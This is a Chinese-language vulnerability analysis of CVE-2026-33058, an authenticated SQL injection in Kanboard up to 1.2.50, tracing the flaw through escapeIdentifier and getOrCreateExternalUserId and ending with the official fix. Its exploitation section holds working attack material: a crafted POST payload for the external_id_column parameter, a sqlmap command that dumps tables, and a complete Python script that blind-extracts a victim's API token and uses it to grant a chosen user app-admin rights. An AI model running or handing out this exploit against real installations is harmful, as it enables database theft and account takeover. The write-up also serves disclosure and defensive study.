Kanboard 认证SQL注入漏洞(CVE-2026-33058)

基本信息

属性 内容
CVE编号 CVE-2026-33058
漏洞名称 Kanboard 认证SQL注入漏洞
官方修复 https://github.com/kanboard/kanboard/compare/v1.2.50...v1.2.51#diff-81c04819af158e471012bfe823c23d4bc7b0246ca23f7068f1ffa56a15e23c57
漏洞类型 SQL 注入(CWE-89)
披露日期 2026-03-18
发现者 fguillot (Bombadil Systems)
CVSS评分 高危(CVSS 8.4)
受影响版本 <= 1.2.50
修复版本 >= 1.2.51

漏洞概述

Kanboard 是一款专注于看板方法的开源项目管理软件。

在其项目成员管理功能中,由于对添加用户到项目时的输入参数未进行充分的转义或参数化处理,导致存在 SQL 注入漏洞。

具有项目用户管理权限的攻击者可通过构造恶意的 SQL 语句,绕过正常的逻辑执行非法查询,从而导出包括用户信息、任务详情在内的整个数据库内容。

修复方案

官方修复

将组件 kanboard 升级至 1.2.51 及以上版本

参考链接

类型 链接
安全公告 https://github.com/kanboard/kanboard/security/advisories/GHSA-f62r-m4mr-2xhh

漏洞分析

我们先搞清楚这个项目的文件架构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
kanboard/
├── app/ # 应用核心代码
│ ├── Core/ # 自研框架核心(容器、事件、路由、认证等)
| ├── Controller/ # 控制器(处理 HTTP 请求)
│ ├── Model/ # 数据模型(业务逻辑 + 数据访问)
│ ├── View/ # 视图模板(PHP 原生模板)
│ ├── ServiceProvider/# 服务提供者(注册组件到容器)
│ ├── Event/ # 事件定义与订阅
│ ├── Auth/ # 认证模块(本地、LDAP、OAuth2)
│ └── Api/ # RESTful API 接口
├── assets/ # 前端静态资源(CSS/JS/图片)
├── plugins/ # 插件目录(热加载)
├── vendor/ # Composer 第三方依赖
└── config/ # 配置文件

个人习惯从Controller看起,咱们先从任意一个app/Controller/*.php开始走一遍GET请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
app/Controller/ActionController

public function index()
{
$project = $this->getProject();
$actions = $this->actionModel->getAllByProject($project['id']);

$this->response->html($this->helper->layout->project('action/index', array(
'values' => array('project_id' => $project['id']),
'project' => $project,
'actions' => $actions,
'available_actions' => $this->actionManager->getAvailableActions(),
'available_events' => $this->eventManager->getAll(),
'available_params' => $this->actionManager->getAvailableParameters($actions),
'columns_list' => $this->columnModel->getList($project['id']),
'users_list' => $this->projectUserRoleModel->getAssignableUsersList($project['id']),
'projects_list' => $this->projectUserRoleModel->getProjectsByUser($this->userSession->getId()),
'colors_list' => $this->colorModel->getList(),
'categories_list' => $this->categoryModel->getList($project['id']),
'links_list' => $this->linkModel->getList(0, false),
'swimlane_list' => $this->swimlaneModel->getList($project['id']),
'title' => t('Automatic actions')
)));
}

咱们跟进getAllByProject($project['id'])

1
2
3
4
5
6
public function getAllByProject($project_id)
{
$actions = $this->db->table(self::TABLE)->eq('project_id', $project_id)->findAll();
$params = $this->actionParameterModel->getAllByActions(array_column($actions, 'id'));
return $this->attachParamsToActions($actions, $params);
}

继续顺着$this->db往里追,找到了核心文件libs/picodb/lib/PicoDb/Database.php。它内部用到了PDO::preparePDOStatement::bindParam,看上去做了参数化查询,按理说能防注入。但问题不在这

关键在Table::findAll()这类最终执行查询的方法里。

1
2
3
4
5
6
7
8
9
10
11
public function findAll()
{
$rq = $this->db->execute($this->buildSelectQuery(), $this->conditionBuilder->getValues());
$results = $rq->fetchAll(PDO::FETCH_ASSOC);

if (is_callable($this->callback) && ! empty($results)) {
return call_user_func($this->callback, $results);
}

return $results;
}

在真正执行前,它会先构建SQL查询字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function buildSelectQuery()
{
if (empty($this->sqlSelect)) {
$this->columns = $this->db->escapeIdentifierList($this->columns, $this->name);
$this->sqlSelect = ($this->distinct ? 'DISTINCT ' : '').(empty($this->columns) ? '*' : implode(', ', $this->columns));
}

$this->groupBy = $this->db->escapeIdentifierList($this->groupBy);

return trim(sprintf(
'SELECT %s %s FROM %s %s %s %s %s %s %s %s',
$this->sqlTop,
$this->sqlSelect,
$this->db->escapeIdentifier($this->name),
implode(' ', $this->joins),
$this->conditionBuilder->build(),
empty($this->groupBy) ? '' : 'GROUP BY '.implode(', ', $this->groupBy),
$this->sqlOrder,
$this->sqlLimit,
$this->sqlOffset,
$this->sqlFetch
));
}

注意到这里面的escapeIdentifierList()方法,大概意思是关于跳过认证的方法,跟进一手

1
2
3
4
5
6
7
8
public function escapeIdentifierList(array $identifiers, $table = '')
{
foreach ($identifiers as $key => $value) {
$identifiers[$key] = $this->escapeIdentifier($value, $table);
}

return $identifiers;
}

继续跟进escapeIdentifier

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function escapeIdentifier($value, $table = '')
{
// Do not escape custom query
if (strpos($value, '.') !== false || strpos($value, ' ') !== false) {
return $value;
}

// Avoid potential SQL injection
if (preg_match('/^[a-z0-9_]+$/', $value) === 0) {
throw new SQLException('Invalid identifier: '.$value);
}

if (! empty($table)) {
return $this->driver->escape($table).'.'.$this->driver->escape($value);
}

return $this->driver->escape($value);
}

这里有个判断,当他传入的$value里存在空格或者点号时,他会跳过检测直接返回结果,这是一个漏洞利用点(sink)

我们需要寻找漏洞入口点(source)以及连接sink与source的利用链(flow)

即找那些函数用到了escapeIdentifier而且第一个参数用户可控,全局查找->escapeIdentifier

最终我们找到了lib/picdb/lib/PicoDb/Builder/ConditionBuilder.php#eq()

1
2
3
4
5
public function eq($column, $value)
{
$this->addCondition($this->db->escapeIdentifier($column).' = ?');
$this->values[] = $value;
}

然后我们全局搜寻->eq($,用来寻找第一个参数可控的函数

最终我们找到的一个绝佳的利用函数app/Model/UserModel.php#getOrCreateExternalUserId

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function getOrCreateExternalUserId($username, $name, $externalIdColumn, $externalId)
{
$userId = $this->db->table(self::TABLE)->eq($externalIdColumn, $externalId)->findOneColumn('id');

if (empty($userId)) {
$userId = $this->create(array(
'username' => $username,
'name' => $name,
'is_ldap_user' => 1,
$externalIdColumn => $externalId,
));
}

return $userId;
}

再次查找谁调用了它

app/Controller/ProjectPermissionController.php#addUser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function addUser()
{
$this->checkCSRFForm();

$project = $this->getProject();
$values = $this->request->getValues();

if (empty($values['user_id']) && ! empty($values['external_id']) && ! empty($values['external_id_column'])) {
$values['user_id'] = $this->userModel->getOrCreateExternalUserId($values['username'], $values['name'], $values['external_id_column'], $values['external_id']);
}

if (empty($values['user_id'])) {
$this->flash->failure(t('User not found.'));
} elseif ($this->projectUserRoleModel->addUser($project['id'], $values['user_id'], $values['role'])) {
$this->flash->success(t('Project updated successfully.'));
} else {
$this->flash->failure(t('Unable to update this project.'));
}

$this->response->redirect($this->helper->url->to('ProjectPermissionController', 'index', array('project_id' => $project['id'])));
}

最终回到*Controller,这是漏洞入口点(source),刚才我们搜索的过程是利用链(flow)

漏洞利用

既然整个利用链都找齐了,我们看怎么使用吧

POC1

抓包内容

1
2
3
4
5
6
POST /?controller=ProjectPermissionController&action=addUser&project_id=1 HTTP/1.1
Cookie: your_cookie
Host: 127.0.0.1:8080
Content-Type: application/www-form-urlencoded

csrf_token=your_token&user_id=&external_id=yyy&external_id_column=(SELECT%20OH%20NOES!!!11)%3b--%20-&name=xxx&role=xxx

漏洞发现者利用视频:https://github.com/user-attachments/assets/9d49cdaf-3091-4ac1-8bc8-34dfb5133e51

1
2
3
4
5
6
7
sqlmap --url 'http://localhost/?controller=ProjectPermissionController&action=addUser&project_id=1' \
-H 'Cookie: KB_SID=...; KB_RM=...' \
--data 'csrf_token=csrf_token&user_id=&username=admin&external_id=dummy&external_id_column=dummy&name=admin&role=project-member' \
-p 'external_id_column' \
--dbms sqlite \
--tables \
--flush-session

POC2

利用SQL注入,窃取数据库里高权限用户的API Key,实现权限提升

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import string
import bs4
import argparse
import requests


def main(args):
base_url = args.url.rstrip("/")
cookie = args.cookie
if args.cookie.lower().startswith("cookie: "):
cookie = args.cookie[8:]

with requests.Session() as session:
# session.proxies = {"http": "http://127.0.0.1:8080"}
session.verify = False
session.headers.update({"Cookie": cookie})
response = session.get(f"{base_url}/project/{args.project_id}/permissions")
soup = bs4.BeautifulSoup(response.text, features="html.parser")
csrf = ""
for form in soup.find_all("form"):
action = form.get("action")
if "controller=ProjectPermissionController&action=addUser" in action:
csrf = form.find("input", attrs={"name": "csrf_token"}).get("value")
break
if csrf == "":
print("failed to find csrf token")
return

def send_sqli(payload: str) -> bool:
response = session.post(
f"{base_url}/?controller=ProjectPermissionController&action=addUser&project_id={args.project_id}",
data={
"csrf_token": csrf,
"user_id": "",
"username": "dummy",
"external_id": "dummy",
"external_id_column": payload,
"name": "dummy",
"role": "dummy",
},
allow_redirects=False,
)
return response.status_code == 302

print(f"Looking for API key for {args.victim_username}...")

# SELECT "users"."id" FROM "users" WHERE X
#
# X ->
# => (CASE WHEN 1=1 THEN 'dummy' ELSE NULL END) --> true
# => (CASE WHEN 1=2 THEN 'dummy' ELSE NULL END) --> false
#
# (CASE WHEN (SELECT substr(api_access_token, 1, 1)='5' FROM users WHERE is_admin = 1 LIMIT 1) THEN 'dummy' ELSE NULL END)
chars = []
no_key = True
for idx in range(1, 61): # api_access_token length is 60 chars, lowercased hex.
for c in string.hexdigits[:-6]:
response = send_sqli(
f"(CASE WHEN (SELECT substr(api_access_token, {idx}, 1)='{c}' FROM users WHERE username = '{args.victim_username}' LIMIT 1) THEN 'dummy' ELSE NULL END)"
)
if response:
no_key = False
chars.append(c)
break

if no_key:
print(f"No api key found for: {args.victim_username}")
return

api_key = "".join(chars)
print(f"found {args.victim_username} api key: {api_key}")

print(f"Adding user {args.user_id} to admins...")
requests.post(
f"{base_url}/jsonrpc.php",
auth=(args.victim_username, api_key),
json={
"jsonrpc": "2.0",
"method": "updateUser",
"id": 322123657,
"params": {"id": args.user_id, "role": "app-admin"},
},
)


if __name__ == "__main__":
ap = argparse.ArgumentParser()
ap.add_argument("-t", "--url", required=True)
ap.add_argument("-p", "--project-id", required=True, type=int)
ap.add_argument("-c", "--cookie", required=True)
ap.add_argument("-v", "--victim-username", required=True)
ap.add_argument("-i", "--user-id", required=True, type=int)
args = ap.parse_args()
main(args)

修复分析

官方对getOrCreateExternalUserId添加了一个if分支

image-20260331205838542

isValidIdentifier方法是官方在1.2.51里新增的判断特殊字符的方法,用来检测是否在传入参数里存在特殊字符,从而避免SQL注入

1
2
3
4
public function isValidIdentifier($value)
{
return preg_match('/^[a-z0-9_]+$/', $value) === 1;
}

image-20260331210829858

这样分别在escapeIdentifier(sink),getOrCreateExternalUserId(flow)里拦截SQL注入